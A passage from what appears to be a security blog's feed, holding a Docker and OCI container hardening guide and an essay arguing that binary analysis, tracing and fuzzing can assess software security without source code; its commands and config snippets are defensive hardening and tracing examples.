RedHat, that also intends to be a drop-in replacement for Docker. It doesn\u0026rsquo;t work with a daemon, and can work rootless by design (Docker has support for rootless too, but that is not without caveats). I would largely recommend Podman over Docker for someone who wants a simple tool to run containers and test code on their machine.\nKubernetes (also known as K8S) is the container platform made by Google. It is designed with scaling in mind, and is about running containers across a cluster whereas Docker focuses on packaging containers on a single node. Docker Swarm is the direct alternative to that, but it has never really took off due to the popularity of K8S.\nFor the rest of this article, we will use Docker as the reference for our examples, along with the Compose specification format. Most of these examples can be adapted to other platforms without issues.\nThe nightmare of dependencies Containers are made from images, and images are typically built from a Dockerfile. Images can be built and distributed through OCI registries: Docker Hub, Google Container Registry, GitHub Container Registry, and so on. You can also set up your own private registry as well, but the reality is that people often pull images from these public registries.\nImages, immutability and versioning Images are what make containers, well, containers. Containers made from the same image should behave similarly on different machines. Images can have tags, which are useful for software versioning. The usage of generic tags such as latest is often discouraged because it defeats the purpose of the expected behavior of the container. Tags are not necessarily immutable by design, and they shouldn\u0026rsquo;t be (more on that below). Digest, however, is the attribute of an immutable image, and is often generated with the SHA-256 algorithm.\ndocker.io/library/golang:1.17.1@sha256:232a180dbcbcfa7250917507f3827d88a9ae89bb1cdd8fe3ac4db7b764ebb25 ^ ^ ^ ^ | | | | Registry Image Tag Digest (immutable) Now onto why tags shouldn\u0026rsquo;t be immutable: as written above, containers bring us an abstraction over the OS dependencies that are used by the packaged software. That is nice indeed, but this shouldn\u0026rsquo;t lure us into believing that we can forget security updates. The fact is, there is still a whole OS to care about, and we can\u0026rsquo;t just think of the container as a simple package tool for software.\nFor these reasons, good practices were established:\nAn image should be as minimal as possible (Alpine Linux, or scratch/distroless). An image, with a given tag, should be regularly built, without cache to ensure all layers are freshly built. An image should be rebuilt when the images it\u0026rsquo;s based on are updated. A minimal base system Alpine Linux is often the choice for official images for the first reason. This is not a typical Linux distribution as it uses musl as its C library, but it works quite well. Actually, I\u0026rsquo;m quite fond of Alpine Linux and apk (its package manager). If a supervision suite is needed, I\u0026rsquo;d look into s6. If you need a glibc distribution, Debian provides slim variants for lightweight base images. We can do even better than using Alpine by using distroless images, allowing us to have state-of-the-art application containers.\n\u0026ldquo;Distroless\u0026rdquo; is a fancy name referring to an image with a minimal set of dependencies, from none (for fully static binaries) to some common libraries (typically the C library). Google maintains distroless images you can use as a base for your own images. If you were wondering, the difference with scratch (empty starting point) is that distroless images contain common dependencies that \u0026ldquo;almost-statically compiled\u0026rdquo; binaries may need, such as ca-certificates.\nHowever, distroless images are not suited for every application. In my experience though, distroless is an excellent option with pure Go binaries. Going with minimal images drastically reduces the available attack surface in the container. For example, here\u0026rsquo;s a multi-stage Dockerfile resulting in a minimal non-root image for a simple Go project:\nFROM golang:alpine as build WORKDIR /app COPY . . RUN CGO_ENABLED=0 go mod -o /my_app cmd/my_app FROM gcr.io/distroless/static COPY --from=build /my_app / USER nobody ENTRYPOINT [\u0026#34;/my_app\u0026#34;] The main drawback of using minimal images is the lack of tools that help with debugging, which also constitute the very attack surface we\u0026rsquo;re trying to get rid of. The trade-off is probably not worth the hassle for development-focused containers, and if you\u0026rsquo;re running such images in production, you have to be confident enough to operate with them. Note that the gcr.io/distroless images have a :debug tag to help in that regard.\nKeeping images up-to-date The two other points are highly problematic, because most software vendors just publish an image on release, and forget about it. You should take it up to them if you\u0026rsquo;re running images that are versioned but not regularly updated. I\u0026rsquo;d say running scheduled builds once a week is the bare minimum to make sure dependencies stay up-to-date. Alpine Linux is a better choice than most other \u0026ldquo;stable\u0026rdquo; distributions because it usually has more recent packages.\nStable distributions often rely on backporting security fixes from CVEs, which is known to be a flawed approach to security since CVEs aren\u0026rsquo;t always assigned or even taken care of. Alpine has more recent packages, and it has versioning, so it\u0026rsquo;s once again a particularly good choice as long as musl doesn\u0026rsquo;t cause issues.\nIs it really a security nightmare? When people say Docker is a security nightmare because of that, that\u0026rsquo;s a fair point. On a traditional system, you could upgrade your whole system with a single command or two. With Docker, you\u0026rsquo;ll have to recreate several containers\u0026hellip; if the images were kept up-to-date in the first place. Recreating itself is not a big deal actually: hot upgrades of binaries and libraries often require the services that use them to restart, otherwise they could still use an old (and vulnerable) version of them in memory. But yeah, the fact is most people are running outdated containers, and more often than not, they don\u0026rsquo;t have the choice if they rely on third-party images.\nTrivy is an excellent tool to scan images for a subset of known vulnerabilities an image might have. You should play with it and see for yourself how outdated many publicly available images are.\nSupply-chain attacks As with any code downloaded from a software vendor, OCI images are not exempt from supply-chain attacks. The good practice is quite simple: rely on official images, and ideally build and maintain your own images. One should definitely not automatically trust random third-party images they can find on Docker Hub. Half of these images, if not more, contain vulnerabilities, and I bet a good portion of them contains malwares such as miners or worse.\nAs an image maintainer, you can sign your images to improve the authenticity assurance. Most official images make use of Docker Content Trust, which works with a OCI registry attached to a Notary server. With the Docker toolset, setting the environment variable DOCKER_CONTENT_TRUST=1 enforces signature verification (a signature is only good if it\u0026rsquo;s checked in the first place). The SigStore initiative is developing cosign, an alternative that doesn\u0026rsquo;t require a Notary server because it works with features already provided by the registry such as tags. Kubernetes users may be interested in Connaisseur to ensure all signatures have been validated.\nLeave my root alone! Attack surface Traditionally, Docker runs as a daemon owned by root. That also means that root in the container is actually the root on the host and may be a few commands away from compromising the host. More generally, the attacker has to exploit the available attack surface to escape the container. There is a huge attack surface, actually: the Linux kernel. Someone wise once said:\nThe kernel can effectively be thought of as the largest, most vulnerable setuid root binary on the system.\nThat applies particularly to traditional containers which weren\u0026rsquo;t designed to provide a robust level of isolation. A recent example was CVE-2022-0492: the attacker could abuse root in the container to exploit cgroups v1, and compromise the host. Of course defense-in-depth measures would have prevented that, and we\u0026rsquo;ll mention them. But fundamentally, container escapes are possible by design.\nBreaking out via the OCI runtime runc is also possible, although CVE-2019-5736 was a particularly nasty bug. The attacker had to gain access to root in the container first in order to access /proc/[runc-pid]/exe, which indicates them where to overwrite the runc binary.\nGood practices have been therefore established:\nAvoid using root in the container, plain and simple. Keep the host kernel, Docker and the OCI runtime updated. Consider the usage of user namespaces. By the way, it goes without saying that any user who has access to the Docker daemon should be considered as privileged as root. Mounting the Docker socket (/var/run/docker.sock) in a container makes it highly privileged, and so it should be avoided. The socket should only be owned by root, and if that doesn\u0026rsquo;t work with your environment, use Docker rootless or Podman.\nAvoiding root root can be avoided in different ways in the final container:\nImage creation time: setting the USER instruction in the Dockerfile. Container creation time: via the tools available (user: in the Compose file). Container runtime: degrading privileges with entrypoints scripts (gosu UID:GID). Well-made images with security in mind will have a USER instruction. In my experience, most people will run images blindly, so it\u0026rsquo;s good harm reduction. Setting the user manually works in some images that aren\u0026rsquo;t designed without root in mind, and it\u0026rsquo;s also great to mitigate some scenarii where the image is controlled by an attacker. You also won\u0026rsquo;t have surprises when mounting volumes, so I highly recommend setting the user explicitly and make sure volume permissions are correct once.\nSome images allow users to define their own user with UID/GID environment variables, with an entrypoint script that runs as root and takes care of the volume permissions before dropping privileges. While technically fine, it is still attack surface, and it requires the SETUID/SETGID capabilities to be available in the container.\nUser namespaces: sandbox or paradox? As mentioned just above, user namespaces are a solution to ensure root in the container is not root on the host. Docker supports user namespaces, for instance you could set the default mapping in /etc/docker/daemon.json:\n\u0026#34;userns-remap\u0026#34;: \u0026#34;default\u0026#34; whoami \u0026amp;\u0026amp; sleep 60 in the container will return root, but ps -fC sleep on the host will show us the PID of another user. That is nice, but it has limitations and therefore shouldn\u0026rsquo;t be considered as a real sandbox. In fact, the paradox is that user namespaces are attack surface (and vulnerabilities are still being found years later), and it\u0026rsquo;s common wisdom to restrict them to privileged users (kernel.unprivileged_userns_clone=0). That is fine for Docker with its traditional root daemon, but Podman expects you to let unprivileged users interact with user namespaces (so essentially privileged code).\nEnabling userns-remap in Docker shouldn\u0026rsquo;t be a substitute for running unprivileged application containers (where applicable). User namespaces are mostly useful if you intend to run full-fledged OS containers which need root in order to function, but that is out of the scope of the container technologies mentioned in this article; for them, I\u0026rsquo;d argue exposing such a vulnerable attack surface from the host kernel for dubious sandboxing benefits isn\u0026rsquo;t an interesting trade-off to make.\nThe no_new_privs bit After ensuring root isn\u0026rsquo;t used in your containers, you should look into setting the no_new_privs bit. This Linux feature restricts syscalls such as execve() from granting privileges, which is what you want to restrict in-container privilege escalation. This flag can be set for a given container in a Compose file:\nsecurity_opt: - \u0026#34;no-new-privileges=true\u0026#34; Gaining privileges in the container will be much harder that way.\nCapabilities Furthermore, we should mention capabilities: root powers are divided into distinct units by the Linux kernel, called capabilities. Each granted capability also grants privilege and therefore access to a significant amount of attack surface. Security researcher Brad Spengler enumerates 19 important capabilities. Docker restricts certain capabilities by default, but some of the most important ones are still available to a container by default.\nYou should consider the following rule of thumb:\nDrop all capabilities by default. Allow only the ones you really need to. If you already run your containers unprivileged without root, your container will very likely work fine with all capabilities dropped. That can be done in a Compose file:\ncap_drop: - ALL #cap_add: # - CHOWN # - DAC_READ_SEARCH # - SETUID # - SETGID Never use the --privileged option unless you really need to: a privileged container is given access to almost all capabilities, kernel features and devices.\nOther security features MACs and seccomp are robust tools that may vastly improve container security.\nMandatory Access Control MAC stand for Mandatory Access Control: traditionally a Linux Security Module that will enforce a policy to restrict the userspace. Examples are AppArmor and SELinux: the former being more easy-to-use, the later being more fine-grained. Both are strong tools that can help\u0026hellip; Yet, their sole presence does not mean they\u0026rsquo;re really effective. A robust policy starts from a deny all policy, and only allows the necessary resources to be accessed.\nseccomp seccomp (short for secure computing mode) on the other hand is a much simpler and complementary tool, and there is no reason not to use it. What it does is restricting a process to a set of system calls, thus drastically reducing the attack surface available.\nDocker provides default profiles for AppArmor and seccomp, and they\u0026rsquo;re enabled by default for newly created containers unless the unconfined option is explicitly passed. Note: Kubernetes doesn\u0026rsquo;t enable the default seccomp profile by default, so you should probably try it.\nThese profiles are a great start, but you should do much more if you take security seriously, because they were made to not break compatibility with a large range of images. The default seccomp profile only disables around 44 syscalls, which are mostly not very common and/or obsoleted. Of course, the best profile you can get is supposed to be written for a given program. It also doesn\u0026rsquo;t make sense to insist on the permissiveness of the default profiles, and a lof of work has gone into hardening containers.\ncgroups Use cgroups to restrict access to hardware and system resources. You likely don\u0026rsquo;t want a guest container to monopolize the host resources. You also don\u0026rsquo;t want to be vulnerable to stupid fork bomb attacks. In a Compose file, consider setting these limits:\nmem_limit: 4g cpus: 4 pids_limit: 256 More runtime options can be found in the official documentation. All of them should have a Compose spec equivalent.\nThe --cgroup-parent option should be avoided as it uses the host cgroup and not the one configured from Docker (or else), which is the default.\nRead-only filesystem It is good practice to treat the image as some refer to as the \u0026ldquo;golden image\u0026rdquo;.\nIn other words, you\u0026rsquo;ll run containers in read-only mode, with an immutable filesystem inherited from the image. Only the mounted volumes will be read/write accessible, and those should ideally be mounted with the noexec, nosuid and nodev options for extra security. If read/write access isn\u0026rsquo;t needed, mount these volumes as read-only too.\nHowever, the image may not be perfect and still require read/write access to some parts of the filesystem, likely directories such as /tmp, /run or /var. You can make a tmpfs for those (a temporary filesystem in the container attributed memory), because they\u0026rsquo;re not persistent data anyway.\nIn a Compose file, that would look like the following settings:\nread_only: true tmpfs: - /tmp:size=10M,mode=0770,uid=1000,gid=1000,noexec,nosuid,nodev That is quite verbose indeed, but that\u0026rsquo;s to show you the different options for a tmpfs mount. You want to restrict them in size and permissions ideally.\nNetwork isolation By default, all Docker containers will use the default network bridge. They will see and be able to communicate with each other. Each container should have its own user-defined bridge network, and each connection between containers should have an internal network. If you intend to run a reverse proxy in front of several containers, you should make a dedicated network for each container you want to expose to the reverse proxy.\nThe --network host option also shouldn\u0026rsquo;t be used for obvious reasons since the container would share the same network as the host, providing no isolation at all.\nAlternative runtimes (gVisor) runc is the reference OCI runtime, but that means other runtimes can exist as well as long as they\u0026rsquo;re compliant with the OCI standard. These runtimes can be interchanged quite seamlessly. There\u0026rsquo;s a few alternatives, such as crun or youki, respectively implemented in C and Rust (runc is a Go implementation). However, there is one particular runtime that does a lot more for security: runsc, provided by the gVisor project by the folks at Google.\nContainers are not a sandbox, and while we can improve their security, they will fundamentally share a common attack surface with the host. Virtual machines are a solution to that problem, but you might prefer container semantics and ecosystem. gVisor can be perceived as an attempt to get the \u0026ldquo;best of both worlds\u0026rdquo;: containers that are easy to manage while providing a native isolation boundary. gVisor did just that by implementing two things:\nSentry: an application kernel in Go, a language known to be memory-safe. It implements the Linux logic in userspace such as various system calls. Gofer: a host process which communicates with Sentry and the host filesystem, since Sentry is restricted in that aspect. A platform like ptrace or KVM is used to intercept system calls and redirect them from the application to Sentry, which is running in the userspace. This has some costs: there is a higher per-syscall overhead, and compatibility is reduced since not all syscalls are implemented. On top of that, gVisor employs security mechanisms we\u0026rsquo;ve glanced over above, such as a very restrictive seccomp profile between Sentry and the host kernel, the no_new_privs bit, and isolated namespaces from the host.\nThe security model of gVisor is comparable to what you would expect from a virtual machine. It is also very easy to install and use. The path to runsc along with its different configuration flags (runsc flags) should be added to /etc/docker/daemon.json:\n\u0026#34;runtimes\u0026#34;: { \u0026#34;runsc-ptrace\u0026#34;: { \u0026#34;path\u0026#34;: \u0026#34;/usr/local/bin/runsc\u0026#34;, \u0026#34;runtimeArgs\u0026#34;: [ \u0026#34;--platform=ptrace\u0026#34; ] }, \u0026#34;runsc-kvm\u0026#34;: { \u0026#34;path\u0026#34;: \u0026#34;/usr/local/bin/runsc\u0026#34;, \u0026#34;runtimeArgs\u0026#34;: [ \u0026#34;--platform=kvm\u0026#34; ] } } runsc needs to start with root to set up some mitigations, including the use of its own network stack separated from the host. The sandbox itself drops privileges to nobody as soon as possible. You can still use runsc rootless if you want (which should be needed for Podman):\n./runsc --rootless do uname -a *** Warning: sandbox network isn\u0026#39;t supported with --rootless, switching to host *** Linux 4.4.0 #1 SMP Sun Jan 10 15:06:54 PST 2016 x86_64 GNU/Linux Linux 4.4.0 is shown because that is the version of the Linux API that Sentry tries to mimic. As you\u0026rsquo;ve probably guessed, you\u0026rsquo;re not really using Linux 4.4.0, but the application kernel that behaves like it. By the way, gVisor is of course compatible with cgroups.\nConclusion: what\u0026rsquo;s a container after all? Like I wrote above, a container is mostly defined by its semantics and ecosystem. Containers shouldn\u0026rsquo;t be solely defined by the OCI reference runtime implementation, as we\u0026rsquo;ve seen with gVisor that provides an entirely different security model.\nStill not convinced? What if I told you a container can leverage the same technologies as a virtual machine? That is exactly what Kata Containers does by using a VMM like QEMU-lite to provide containers that are in fact lightweight virtual machines, with their traditional resources and security model, compatibility with container semantics and toolset, and an optimized overhead. While not in the OCI ecosystem, Amazon achieves quite the same with Firecracker.\nIf you\u0026rsquo;re running untrusted workloads, I highly suggest you consider gVisor instead of a traditional container runtime. Your definition of \u0026ldquo;untrusted\u0026rdquo; may vary: for me, almost everything should be considered untrusted. That is how modern security works, and how mobile operating systems work. It\u0026rsquo;s quite simple, security should be simple, and gVisor simply offers native security.\nContainers are a popular, yet strange world. They revolutionized the way we make and deploy software, but one should not loose the sight of what they really are and aren\u0026rsquo;t. This hardening guide is non-exhaustive, but I hope it can make you aware of some aspects you\u0026rsquo;ve never thought of.\n","permalink":"https://deploy-preview-444--privsec-dev.netlify.app/posts/linux/docker-and-oci-hardening/","summary":"Containers aren\u0026rsquo;t that new fancy thing anymore, but they were a big deal. And they still are. They are a concrete solution to the following problem:\n- Hey, your software doesn\u0026rsquo;t work\u0026hellip;\n- Sorry, it works on my computer! Can\u0026rsquo;t help you.\nWhether we like them or not, containers are here to stay. Their expressiveness and semantics allow for an abstraction of the OS dependencies that a software has, the latter being often dynamically linked against certain libraries.","title":"Docker and OCI Hardening"},{"content":"While source code is critical for user autonomy, it isn\u0026rsquo;t required to evaluate software security or understand run-time behavior.\nOne of the biggest parts of the Free and Open Source Software definitions is the freedom to study a program and modify it; in other words, access to editable source code. I agree that such access is essential; however, far too many people support source availability for the wrong reasons. One such reason is that source code is necessary to have any degree of transparency into how a piece of software operates, and is therefore necessary to determine if it is at all secure or trustworthy. Although security through obscurity is certainly not a robust measure, this claim has two issues:\nSource code describes what a program is designed to do; it is unnecessary and insufficient to determine if what it actually does aligns with its intended design. Vulnerability discovery doesn\u0026rsquo;t require source code. I\u0026rsquo;d like to expand on these issues, focusing primarily on compiled binaries. Bear in mind that I do not think that source availability is useless from a security perspective (it certainly makes audits easier), and I do think that source availability is required for user freedom. I\u0026rsquo;m arguing only that source unavailability doesn\u0026rsquo;t imply insecurity, and source availability doesn\u0026rsquo;t imply security. It\u0026rsquo;s possible (and often preferable) to perform security analysis on binaries, without necessarily having source code. In fact, vulnerability discovery doesn\u0026rsquo;t typically rely upon source code analysis.\nI\u0026rsquo;ll update this post occasionally as I learn more on the subject. If you like it, check back in a month or two to see if it has something new.\nPS: this stance is not absolute; I concede to several good counter-arguments in a dedicated section!\nHow security fixes work I don\u0026rsquo;t think anyone seriously claims that software\u0026rsquo;s security instantly improves the second its source code is published. The argument I\u0026rsquo;m responding to is that source code is necessary to understand what a program does and how (in)secure it is, and without it we can\u0026rsquo;t know for sure.\nAssuming a re-write that fundamentally changes a program\u0026rsquo;s architecture is not an option1, software security typically improves by fixing vulnerabilities via something resembling this process:\nSomeone discovers a vulnerability Developers are informed of the vulnerability Developers reproduce the issue and understand what caused it Developers patch the software to fix the vulnerability Source code is typically helpful (sometimes essential) to Step 3. If someone has completed Step 3, they will require source code to proceed to Step 4. Source code isn\u0026rsquo;t necessary for Steps 1 and 2; these steps rely upon understanding how a program misbehaves. For that, we use reverse engineering and/or fuzzing.\nReverse engineering Understanding how a program is designed is not the same as understanding what a program does. A reasonable level of one type of understanding does not imply the other.\nSource code2 is essential to describe a program\u0026rsquo;s high-level, human-comprehensible design; it represents a contract that outlines how a developer expects a program to behave. A compiler or interpreter3 must then translate it into machine instructions. But source code isn\u0026rsquo;t always easy to map directly to machine instructions because it is part of a complex system:\nCompilers (sometimes even interpreters) can apply optimizations and hardening measures that are difficult to reason about. This is especially true for Just-In-Time compilers that leverage run-time information.\nThe operating system itself may be poorly understood by the developers, and run a program in a way that contradicts a developer\u0026rsquo;s expectations.\nToolchains, interpreters, and operating systems can have bugs that impact program execution.\nDifferent compilers and compiler flags can offer different security guarantees and mitigations.\nSource code can be deceptive by featuring sneaky obfuscation techniques, sometimes unintentionally. Confusing naming patterns, re-definitions, and vulnerabilities masquerading as innocent bugs have all been well-documented: look up \u0026ldquo;hypocrite commits\u0026rdquo; or the Underhanded C Contest for examples.\nAll of the above points apply to each dependency and the underlying operating system, which can impact a program\u0026rsquo;s behavior.\nFurthermore, all programmers are flawed mortals who don\u0026rsquo;t always fully understand source code. Everyone who\u0026rsquo;s done a non-trivial amount of programming is familiar with the feeling of encountering a bug during run-time for which the cause is impossible to find\u0026hellip;until they notice it staring them in the face on Line 12. Think of all the bugs that aren\u0026rsquo;t so easily noticed.\nReading the source code, compiling, and passing tests isn\u0026rsquo;t sufficient to show us a program\u0026rsquo;s final behavior. The only way to know what a program does when you run it is to\u0026hellip;run it.4\nSpecial builds Almost all programmers are fully aware of their limited ability, which is why most already employ techniques to analyze run-time behavior that don\u0026rsquo;t depend on source code. For example, developers of several compiled languages5 can build binaries with sanitizers to detect undefined behavior, races, uninitialized reads, etc. that human eyes may have missed when reading source code. While source code is necessary to build these binaries, it isn\u0026rsquo;t necessary to run them and observe failures.\nDistributing binaries with sanitizers and debug information to testers is a valid way to collect data about a program\u0026rsquo;s potential security issues.\nDynamic analysis It\u0026rsquo;s hard to figure out which syscalls and files a large program program needs by reading its source, especially when certain libraries (e.g. the libc implementation/version) can vary. A syscall tracer like strace(1)6 makes the process trivial.\nA personal example: the understanding I gained from strace was necessary for me to write my bubblewrap scripts. These scripts use bubblewrap(1) to sandbox programs with the minimum permissions possible. Analyzing every relevant program and library\u0026rsquo;s source code would have taken me months, while strace gave me everything I needed to know in an afternoon: analyzing the strace output told me exactly which syscalls to allow and which files to grant access to, without even having to know what language the program was written in. I generated the initial version of the syscall allow-lists with the following command7:\nstrace name-of-program program-args 2\u0026gt;\u0026amp;1 \\ | rg \u0026#39;^([a-z_]*)\\(.*\u0026#39; --replace \u0026#39;$1\u0026#39; \\ | sort | uniq This also extends to determining how programs utilize the network: packet sniffers like Wireshark can determine when a program connects to the network, and where it connects.\nThese methods are not flawless. Syscall tracers are only designed to shed light on how a program interacts with the kernel. Kernel interactions tell us plenty (it\u0026rsquo;s sometimes all we need), but they don\u0026rsquo;t give the whole story. Furthermore, packet inspection can be made a bit painful by transit encryption8; tracing a program\u0026rsquo;s execution alongside packet inspection can offer clarity, but this is not easy.\nFor more information, we turn to core dumps, also known as memory dumps. Core dumps share the state of a program during execution or upon crashing, giving us greater visibility into exactly what data a program is processing. Builds containing debugging symbols (e.g. DWARF) have more detailed core dumps. Vendors that release daily snapshots of pre-release builds typically include some symbols to give testers more detail concerning the causes of crashes. Web browsers are a common example: Chromium dev snapshots, Chrome Canary, Firefox Nightly, WebKit Canary builds, etc. all include debug symbols. Until 2019, Minecraft: Bedrock Edition included debug symbols which were used heavily by the modding community.9\nDynamic analysis example: Zoom In 2020, Zoom Video Communications came under scrutiny for marketing its \u0026ldquo;Zoom\u0026rdquo; software as a secure, end-to-end encrypted solution for video conferencing. Zoom\u0026rsquo;s documentation claimed that it used \u0026ldquo;AES-256\u0026rdquo; encryption. Without source code, did we have to take the docs at their word?\nThe Citizen Lab didn\u0026rsquo;t. On 2020-04-03, it published a report revealing critical flaws in Zoom\u0026rsquo;s encryption. It utilized Wireshark and mitmproxy to analyze networking activity, and inspected core dumps to learn about its encryption implementation. The Citizen Lab\u0026rsquo;s researchers found that Zoom actually used an incredibly flawed implementation of a weak version of AES-128 (ECB mode), and easily bypassed it.\nSyscall tracing, packet sniffing, and core dumps are great, but they rely on manual execution which might not hit all the desired code paths. Fortunately, there are other forms of analysis available.\nBinary analysis Tracing execution and inspecting memory dumps can be considered forms of reverse engineering, but they only offer a surface-level view of what\u0026rsquo;s going on. Reverse engineering gets much more interesting when we analyze a binary artifact.\nStatic binary analysis is a powerful way to inspect a program\u0026rsquo;s underlying design. Decompilation (especially when supplemented with debug symbols) can re-construct a binary\u0026rsquo;s assembly or source code. Symbol names may look incomprehensible in stripped binaries, and comments will be missing. What\u0026rsquo;s left is more than enough to decipher control flow to uncover how a program processes data. This process can be tedious, especially if a program uses certain forms of binary obfuscation.\nThe goal doesn\u0026rsquo;t have to be a complete understanding of a program\u0026rsquo;s design (incredibly difficult without source code); it\u0026rsquo;s typically to answer a specific question, fill in a gap left by tracing/fuzzing, or find a well-known property. When developers publish documentation on the security architecture of their closed-source software, reverse engineering tools like decompilers are exactly what you need to verify their honesty (or lack thereof).\nDecompilers are seldom used alone in this context. Instead, they\u0026rsquo;re typically a component of reverse engineering frameworks that also sport memory analysis, debugging tools, scripting, and sometimes even IDEs. I use the Rizin framework, but Ghidra is also popular. Their documentation should help you get started if you\u0026rsquo;re interested.\nExample: malware analysis These reverse-engineering techniques\u0026mdash;a combination of tracing, packet sniffing, binary analysis, and memory dumps\u0026mdash;make up the workings of most modern malware analysis. See this example of a fully-automated analysis of the Zoom Windows installer. It enumerates plenty of information about Zoom without access to its source code: reading unique machine information, anti-VM and anti-reverse-engineering tricks, reading config files, various types of network access, scanning mounted volumes, and more.\nTo try this out yourself, use a sandbox designed for dynamic analysis. Cuckoo is a common and easy-to-use solution, while DRAKVUF is more advanced.\nExtreme example: the truth about Intel ME and AMT The Intel Management Engine (ME) is a mandatory subsystem of all Intel processors (after 2008) with extremely privileged access to the host system. Active Management Technology (AMT) runs atop it on the subset of Intel processors with \u0026ldquo;vPro\u0026rdquo; branding. The latter can be disabled and is intended for organizations to remotely manage their inventory (installing software, monitoring, remote power-on/sleep/wake, etc).\nThe fact that Intel ME has such deep access to the host system and the fact that it\u0026rsquo;s proprietary have both made it the subject of a high degree of scrutiny. Many people (most of whom have little experience in the area) connected these two facts together to allege that the ME is a backdoor, often by confusedly citing functionality of Intel AMT instead of ME. Is it really impossible to know for sure?\nI picked Intel ME+AMT to serve as an extreme example: it shows both the power and limitations of the analysis approaches covered. ME isn\u0026rsquo;t made of simple executables you can just run in an OS because it sits far below the OS, in what\u0026rsquo;s sometimes called \u0026ldquo;Ring -3\u0026rdquo;.10 Analysis is limited to external monitoring (e.g. by monitoring network activity) and reverse-engineering unpacked partially-obfuscated firmware updates, with help from official documentation. This is slower and harder than analyzing a typical executable or library.\nAnswers are a bit complex and…more boring than what sensationalized headlines would say. Igor Skochinsky (the developer of me-tools) and Nicola Corna (the developer of me_cleaner) presented their analysis of ME in Intel Me: Myths and Reality; Vassilios Ververis thoroughly analyzed AMT in Security Evaluation of Intel\u0026rsquo;s Active Management Technology. Interestingly, the former pair argues that auditing binary code is preferable to potentially misleading source code: binary analysis allows auditors to “cut the crap” and inspect what software is truly made of. However, this was balanced by a form of binary obfuscation that the pair encountered; I’ll describe it in a moment.\nSimply monitoring network activity and systematically testing all claims made by the documentation allowed Ververis to uncover a host of security issues in Intel AMT. However, no undocumented features have (to my knowledge) been uncovered. The problematic findings revolved around flawed/insecure implementations of documented functionality. In other words: there\u0026rsquo;s been no evidence of AMT being \u0026ldquo;a backdoor\u0026rdquo;, but its security flaws could have had a similar impact. Fortunately, AMT can be disabled. What about ME?\nThis is where some binary analysis comes in. Neither Skochinsky\u0026rsquo;s ME Secrets presentation nor Intel Me: Myths and Reality seem to enumerate any contradictions with official Intel documentation.\nUnfortunately, some components are poorly understood due to being obfuscated using Huffman compression with unknown dictionaries. Understanding the inner workings of the obfuscated components blurs the line between software reverse-engineering and figuring out how the chips are actually made, the latter of which is nigh-impossible if you don\u0026rsquo;t have access to a chip lab full of cash. However, black-box analysis does tell us about the capabilities of these components: see page 21 of \u0026ldquo;ME Secrets\u0026rdquo;. Thanks to zdctg for clarifying this.\nSkochinsky\u0026rsquo;s and Corna\u0026rsquo;s analysis was sufficient to clarify (but not completely contradict) sensationalism claiming that ME can remotely lock any PC (it was a former opt-in feature), can spy on anything the user does (they clarified that access is limited to unblocked parts of the host memory and the integrated GPU, but doesn\u0026rsquo;t include e.g. the framebuffer), etc.\nWhile claims such as \u0026ldquo;ME is a black box that can do anything\u0026rdquo; are misleading, ME is not without its share of vulnerabilities. My favorite look at its issues is a presentation by Mark Ermolov and Maxim Goryachy at Black Hat Europe 2017: How to Hack a Turned-Off Computer, or Running Unsigned Code in Intel Management Engine.\nIn short: ME being proprietary doesn\u0026rsquo;t mean that we can\u0026rsquo;t find out how (in)secure it is. Binary analysis when paired with runtime inspection can give us a good understanding of what trade-offs we make by using it. While ME has a history of serious vulnerabilities, they\u0026rsquo;re nowhere near what borderline conspiracy theories claim.11\n(Note: Intel is not alone here. Other chips typically have equivalents, e.g. AMD Secure Technology).\nFuzzing Manual invocation of a program paired with a tracer like strace won\u0026rsquo;t always exercise all code paths or find edge-cases. Fuzzing helps bridge this gap: it automates the process of causing a program to fail by generating random or malformed data to feed it. Researchers then study failures and failure-conditions to isolate a bug.\nFuzzing doesn\u0026rsquo;t necessarily depend on access to source code, as it is a black-box technique. Fuzzers like American Fuzzy Loop (AFL) normally use special fuzz-friendly builds, but other fuzzing setups can work with just about any binaries. In fact, some types of fuzz tests (e.g. fuzzing a web API) hardly need any implementation details.\nFuzzing frequently catches bugs that are only apparent by running a program, not by reading source code. Even so, the biggest beneficiaries of fuzzing are open source projects. cURL, OpenSSL, web browsers, text rendering libraries (HarfBuzz, FreeType) and toolchains (GCC, Clang, the official Go toolchain, etc.) are some notable examples.\nI\u0026rsquo;ve said it before but let me say it again: fuzzing is really the top method to find problems in curl once we\u0026rsquo;ve fixed all flaws that the static analyzers we use have pointed out. The primary fuzzing for curl is done by OSS-Fuzz, that tirelessly keeps hammering on the most recent curl code.\nDaniel Stenberg | A Google grant for libcurl work If you want to get started with fuzzing, I recommend checking out the quick-start guide for American Fuzzy Loop. Some languages like Go 1.18 also have fuzzing tools available right in the standard library.\nExample: CVE-2022-0185 A recent example of how fuzzing helps spot a vulnerability in an open-source project is CVE-2022-0185: a Linux 0-day found by the Crusaders of Rust a few weeks ago. It was discovered using the syzkaller kernel fuzzer. The process was documented on Will\u0026rsquo;s Root:\nCVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google\u0026rsquo;s KCTF Containers by willsroot\nI highly encourage giving it a read; it\u0026rsquo;s the perfect example of fuzzing with sanitizers to find a vulnerability, reproducing the vulnerability (by writing a tiny C program), then diving into the source code to find and fix the cause, and finally reporting the issue (with a patch!). When source isn\u0026rsquo;t available, the vendor would assume responsibility for the \u0026ldquo;find and fix\u0026rdquo; steps.\nThe fact that some of the most-used pieces of FLOSS in existence have been the biggest beneficiaries of source-agnostic approaches to vulnerability analysis should be quite revealing. The source code to these projects has received attention from millions of eyes, yet they still invest in fuzzing infrastructure and vulnerability-hunters prefer analyzing artifacts over inspecting the source.\nGood counter-arguments I readily concede to several points in favor of source availability from a security perspective:\nSource code can make analysis easier by supplementing source-independent approaches. The lines between the steps I mentioned in the four-step vulnerability-fixing process are blurry.\nPatching vulnerabilities is important. Source availability makes it possible for the community, package maintainers, or reporters of a vulnerability to patch software. Package maintainers often blur the line between \u0026ldquo;packager\u0026rdquo; and \u0026ldquo;contributor\u0026rdquo; by helping projects migrate away from abandoned/insecure dependencies. One example that comes to mind is the Python 2 to Python 3 transition for projects like Calibre.12 Being able to fix issues independent of upstream support is an important mitigation against user domestication.\nSome developers/vendors don\u0026rsquo;t distribute binaries that make use of modern toolchain-level exploit mitigations (e.g. PIE, RELRO, stack canaries, automatic variable initialization, CFI, etc.13). In these cases, building software yourself with these mitigations (or delegating it to a distro that enforces them) requires source code availability (or at least some sort of intermediate representation).\nClosed-source software may or may not have builds available that include sanitizers and debug symbols.\nAlthough fuzzing release binaries is possible, fuzzing is much easier to do when source code is available. Vendors of proprietary software seldom release special 